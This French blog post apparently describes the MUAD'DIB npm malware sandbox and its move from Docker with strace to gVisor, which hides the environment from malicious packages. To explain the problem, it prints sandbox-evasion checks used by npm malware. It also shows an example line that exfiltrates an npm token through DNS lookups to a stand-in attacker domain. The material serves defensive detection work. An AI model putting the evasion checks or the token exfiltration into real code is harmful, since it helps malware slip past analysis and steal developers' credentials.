Les malwares npm detectent Docker. Tous. En 2026, c'est la premiere chose qu'ils font avant d'executer le payload.
Trois techniques, toutes triviales :
// 1. Le fichier sentinelle
if (fs.existsSync('/.dockerenv')) process.exit(0);
// 2. Les cgroups
const cgroup = fs.readFileSync('/proc/1/cgroup', 'utf8');
if (cgroup.includes('docker') || cgroup.includes('kubepods'))
process.exit(0);
// 3. Le traceur (strace, ptrace)
const status = fs.readFileSync('/proc/self/status', 'utf8');
const tracerPid = status.match(/TracerPid:\s+(\d+)/);
if (tracerPid && tracerPid[1] !== '0') process.exit(0);
Si l'un de ces checks passe, le malware sort proprement. Le sandbox conclut : package clean. Le payload ne s'est jamais execute.
MUAD'DIB utilisait Docker avec strace pour capturer les syscalls. Ca marchait. Mais strace est visible via /proc/self/status (TracerPid != 0). Et /.dockerenv existait toujours dans le container.
La solution : gVisor
gVisor est un runtime container open source developpe par Google. Au lieu de partager le noyau Linux de l'hote comme Docker, gVisor intercepte chaque syscall dans un noyau utilisateur ecrit en Go.
Concretement :
/.dockerenvn'existe pas. Le filesystem est gere par gVisor./proc/1/cgroupne contient pas "docker". gVisor simule son propre/proc.TracerPidest toujours 0. gVisor capture les syscalls au niveau kernel, pas via ptrace.
Le malware voit un Linux normal. Il execute le payload. La sandbox capture tout.
--strace natif
C'est le detail qui change tout. gVisor a un mode --strace integre. Chaque syscall est logue directement par le runtime.
# Docker standard : strace externe (visible via TracerPid)
docker run --security-opt seccomp=unconfined strace -f -e trace=all node install.js
# gVisor : strace natif (invisible pour le processus)
docker run --runtime=runsc \
-e GVISOR_STRACE=true \
node install.js
Pas de strace Linux. Pas de ptrace. Pas de Tracee, pas d'Aqua Security, pas d'outil tiers. Un binaire Google de 50 Mo qui s'installe en 30 secondes.
# Installation
curl -fsSL https://gvisor.dev/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/gvisor-archive-keyring.gpg
sudo apt install runsc
sudo runsc install
sudo systemctl reload docker
--log-packets pour le reseau
gVisor intercepte aussi le trafic reseau au niveau kernel. Le flag --log-packets enregistre chaque paquet TCP/UDP sans que le processus puisse le detecter.
Combine avec la network blacklist (28 domaines safe, 24 domaines exfil connus, 7 patterns OAST), ca donne une visibilite complete sur les communications reseau du package. Le malware ne peut ni detecter le monitoring, ni exfiltrer vers un domaine blackliste sans declencher une alerte CRITICAL.
Honey tokens DNS
En v2.10.41, MUAD'DIB detecte aussi l'encodage dans les sous-domaines DNS. Les malwares exfiltrent des credentials en les encodant dans des requetes DNS :
// Le malware encode le token dans le sous-domaine
const encoded = Buffer.from(npmToken).toString('hex');
dns.resolve(`${encoded}.evil-c2.com`);
Le honey token DNS injecte dans le sandbox est un marqueur connu. Si ce marqueur apparait en hex, base64, ou base64url dans un sous-domaine DNS, c'est une exfiltration confirmee. CRITICAL, zero faux positif.
En production
gVisor est gate derriere MUADDIB_SANDBOX_RUNTIME=gvisor. Si runsc n'est pas installe, le monitor utilise Docker standard. Pas de regression, pas de dependance dure.
Le parser gVisor (gvisor-parser.js) transforme les logs strace et network en findings exploitables par le pipeline de scoring existant. Memes types, memes severites, meme webhook.
Resultat : les 19 types de menaces high-confidence, les canary tokens, la network blacklist, et le honey token DNS fonctionnent tous dans un environnement que le malware ne peut pas distinguer d'une machine de developpeur.
Le bilan
| Evasion | Docker standard | gVisor |
|---|---|---|
/.dockerenv | Detectable | Invisible |
/proc/1/cgroup | Detectable | Invisible |
TracerPid | Detectable (strace) | Invisible (natif) |
| Outils externes | strace, Tracee | Aucun |
| Installation | Docker | Docker + runsc (30s) |
Un binaire. Pas de config. Pas de dependance. Le malware pense qu'il s'execute sur une vraie machine. Il execute le payload. On capture tout.